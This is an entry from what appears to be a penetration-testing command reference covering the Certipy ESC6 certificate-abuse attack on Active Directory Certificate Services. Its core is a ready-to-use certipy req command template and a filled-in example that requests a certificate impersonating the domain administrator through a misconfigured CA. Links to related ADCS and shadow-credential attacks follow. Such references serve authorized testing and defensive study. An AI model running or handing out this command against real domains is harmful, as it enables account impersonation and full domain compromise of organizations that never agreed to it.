Certipy ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2)

ESC6: the CA has EDITF_ATTRIBUTESUBJECTALTNAME2 set, allowing any enrollee to specify an arbitrary SAN on any template — instant impersonation against the User template.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool

certipy

Category

Credential Attacks / ADCS (Certificate Abuse)

Platform

linux

Requires

password

Protocols

LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

certipy req -u '<user>@<domain>' -p '<password>' -dc-ip <dc-ip> -ca '<ca-name>' -template User -upn '<target>@<domain>'

Examples

certipy req -u jdoe@corp.local -p Pass -dc-ip 10.10.10.10 -ca CORP-CA -template User -upn administrator@corp.local

Tags

certipy adcs esc6 san ca-misconfig

References

• Certipy ESC6

Related commands

• bloodyAD Shadow Credentials Add a Key Credential (msDS-KeyCredentialLink) to a target object you have GenericWrite…
• Certipy Account Operations Create, update, read, or delete user / computer accounts directly through Certipy.…
• Certipy Authenticate with Certificate Authenticate using a PFX certificate to obtain a TGT and NT hash
• Certipy CA Management Enumerate and manipulate the certificate authority itself: list officers (ESC7), backup…
• Certipy ESC1 (Subject in Request) Exploit ESC1: a template that allows the requester to specify a Subject Alternative Name…
• Certipy ESC11 (RPC Relay to ICPR) ESC11: ICertPassage RPC interface accepts NTLM without IF_ENFORCEENCRYPTICERTREQUEST.…
• Certipy ESC13 (OID Group Link) ESC13: a template's issuance policy is linked to a privileged group via…
• Certipy ESC14 (altSecurityIdentities Mapping) ESC14: weak explicit certificate mapping via altSecurityIdentities. With write access…